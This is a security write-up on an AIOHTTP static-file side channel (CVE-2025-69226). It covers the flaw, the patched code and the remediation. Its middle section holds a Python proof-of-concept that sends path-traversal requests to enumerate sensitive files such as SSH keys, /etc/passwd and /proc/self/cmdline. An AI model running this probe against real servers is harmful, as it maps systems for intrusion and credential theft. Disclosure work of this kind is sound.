AIOHTTP Side-Channel: When 403 Means 'I See You'
Jan 6, 2026·6 min read
Executive Summary (TL;DR)
AIOHTTP versions prior to 3.13.3 contain a side-channel vulnerability in `web.static()`. The framework checked path prefixes before normalizing them, creating an oracle where attackers can distinguish between existing and non-existing files on the host system. If you get a 403, the file exists; if you get a 404, it doesn't. Upgrade to 3.13.3 immediately.
A logic flaw in AIOHTTP's static file serving mechanism allows attackers to map the server's internal filesystem. By exploiting differences in error codes (403 vs 404) during path normalization, adversaries can enumerate sensitive files outside the web root.
The Hook: Static Files, Dynamic Problems
There is an ancient commandment in the DevOps bible that is ignored by every junior developer at least once: "Thou shalt not serve static files with your application server." Use Nginx. Use Apache. Use a CDN. But inevitably, someone adds web.static('/static', '/var/www/static') to their Python code because it's convenient.
That convenience is where CVE-2025-69226 lives. AIOHTTP, the darling of the asynchronous Python world, had a subtle logic flaw in how it handled these static routes. It turns out that teaching a Python script to act like a file server is harder than it looks, especially when you have to deal with the messy reality of filesystem paths, symlinks, and the classic ../ traversal sequences.
This isn't a full arbitrary file read—you aren't going to cat /etc/shadow directly. Instead, it's a filesystem oracle. It allows an attacker to play a game of "Hot or Cold" with your server, mapping out your directory structure, verifying the existence of config files, and fingerprinting your operating system without ever seeing a byte of file content.
The Flaw: Cart Before the Horse
The vulnerability lies in aiohttp.web_urldispatcher.StaticResource. When a request comes in, the router needs to decide if it matches a registered static route. The logic should be: Normalize the path (resolve .. and //) -> Check if it's still inside the allowed directory -> Serve or 404.
AIOHTTP did it backwards. It performed a naïve prefix check on the raw URL path first. If the URL started with /static/, the router said, "That's mine!" and handed it off to the static file handler. Only inside the handler did the code resolve the path using Python's pathlib or os.path libraries to see where it actually pointed on the disk.
Here is the kicker: The handler was smart enough to know it shouldn't serve /static/../../etc/passwd. It correctly identified that the resolved path was outside the root and blocked access. However, because the router had already claimed the request, the handler returned a 403 Forbidden. If the file didn't exist, the underlying filesystem call would fail, and it would return a 404 Not Found.
This discrepancy creates a side-channel. By observing the HTTP status code, an attacker knows if the file exists on the disk, bypassing the intended obscurity of the web root.
The Code: Fixing the Order of Operations
The fix, introduced in commit f2a86fd, is a textbook example of defense-in-depth by shifting validation left. The maintainers moved the path normalization logic out of the handler and into the router's resolution phase.
Before the fix, the router blindly accepted anything matching the prefix. After the fix, the router effectively says: "Let's see where this path goes before I decide if I handle it."
Here is the critical change in aiohttp/web_urldispatcher.py. Note how os.path.normpath is now called before the prefix check:
# patched logic in aiohttp/web_urldispatcher.py
async def resolve(self, request: Request) -> _Resolve:
path = request.rel_url.path_safe
# THE FIX: Normalize BEFORE checking the prefix
norm_path = os.path.normpath(path)
# Handle Windows path separators if necessary
if IS_WINDOWS:
norm_path = norm_path.replace("\\", "/")
# If the normalized path has escaped the prefix (e.g., /static/../etc/passwd)
# then it no longer starts with /static.
if not norm_path.startswith(self._prefix2) and norm_path != self._prefix:
# Return None, which leads to a generic 404 from the main router
return None, set()
# ... proceed to handlerBy normalizing first, a request for /static/../../etc/passwd becomes /etc/passwd. Since /etc/passwd does not start with /static, the router simply says "I don't know this URL," resulting in a standard 404 Not Found, indistinguishable from a request for a truly non-existent file.
The Exploit: Boolean Blind Enumeration
Exploiting this is trivial and requires no authentication. You simply need a target running a vulnerable version of AIOHTTP that uses web.static(). We can automate the discovery of sensitive files by differentiating the HTTP response codes.
The Attack Logic:
- Status 403 (Forbidden): "I found the file, but I won't show you." -> FILE EXISTS.
- Status 404 (Not Found): "I looked, but nothing is there." -> FILE DOES NOT EXIST.
Here is a simple Python proof-of-concept to hunt for SSH keys:
import requests
TARGET = "http://vulnerable-aiohttp-server.com"
STATIC_PREFIX = "/static"
# List of sensitive files to check for
files_to_check = [
"/etc/passwd",
"/home/root/.ssh/id_rsa",
"/var/log/syslog",
"/app/config.py",
"/proc/self/cmdline" # Often contains secrets passed as args
]
for file in files_to_check:
# Construct the traversal payload
# We use // to ensure we traverse from root if needed, or repeated ../
payload = f"{STATIC_PREFIX}/../../../../..{file}"
try:
r = requests.get(TARGET + payload)
if r.status_code == 403:
print(f"[!] FOUND: {file} exists on the server!")
elif r.status_code == 404:
print(f"[-] CLEAN: {file} not found.")
else:
print(f"[?] WEIRD: {file} returned {r.status_code}")
except Exception as e:
print(f"Error connecting: {e}")In a real-world scenario, an attacker would use a fuzzing list (like Seclists) to map out the entire application structure, looking for backups (config.py.bak), databases (db.sqlite3), or environment files (.env).
The Impact: Why Should We Care?
You might argue, "So what? They know /etc/passwd exists. Big deal." But information is the precursor to compromise. This vulnerability is a reconnaissance goldmine.
First, it allows OS Fingerprinting. Checking for specific binaries or configuration files tells the attacker exactly what distro you are running (e.g., /etc/debian_version vs /etc/redhat-release).
Second, and more dangerously, it aids in finding unlinked assets. If an attacker suspects you have a backup file or a configuration file that isn't publicly linked, they can verify its location. Knowing that /app/settings_local.py exists (confirmed via 403) gives them a specific target for other exploits, like LFI (Local File Inclusion) or path traversal vulnerabilities in other parts of the stack.
Finally, in containerized environments, attackers can probe /proc file systems to understand the container runtime, environment variables (if accessible via filesystem mappings), and neighbor processes.
The Fix: Upgrade and Offload
The immediate fix is to upgrade aiohttp. The maintainers released version 3.13.3 on January 5, 2026, which closes the side-channel.
Remediation Steps:
- Check your version:
pip show aiohttp. - Update:
pip install aiohttp>=3.13.3. - Verify: Ensure your
requirements.txtorPipfilepins the secure version.
Long-term Architectural Fix: Stop using Python to serve static files in production. It is inefficient and, as we've seen, prone to subtle implementation bugs. Use a reverse proxy like Nginx.
# The Right Way(tm)
location /static/ {
alias /var/www/static/;
# Nginx handles traversal and normalization natively and securely
}Nginx has spent decades hardening its path resolution logic. Let it do the heavy lifting while your Python code focuses on the application logic.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
aiohttp aio-libs | <= 3.13.2 | 3.13.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CWE ID | CWE-200 (Information Exposure) |
| Attack Vector | Network (CVSS: AV:N) |
| CVSS v4.0 | 6.3 (Medium) |
| Impact | Information Disclosure (Filesystem Enumeration) |
| Exploit Status | PoC Available / Functional Exploit |
| Patch Status | Fixed in 3.13.3 |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as '..' that can resolve to a location that is outside of that directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.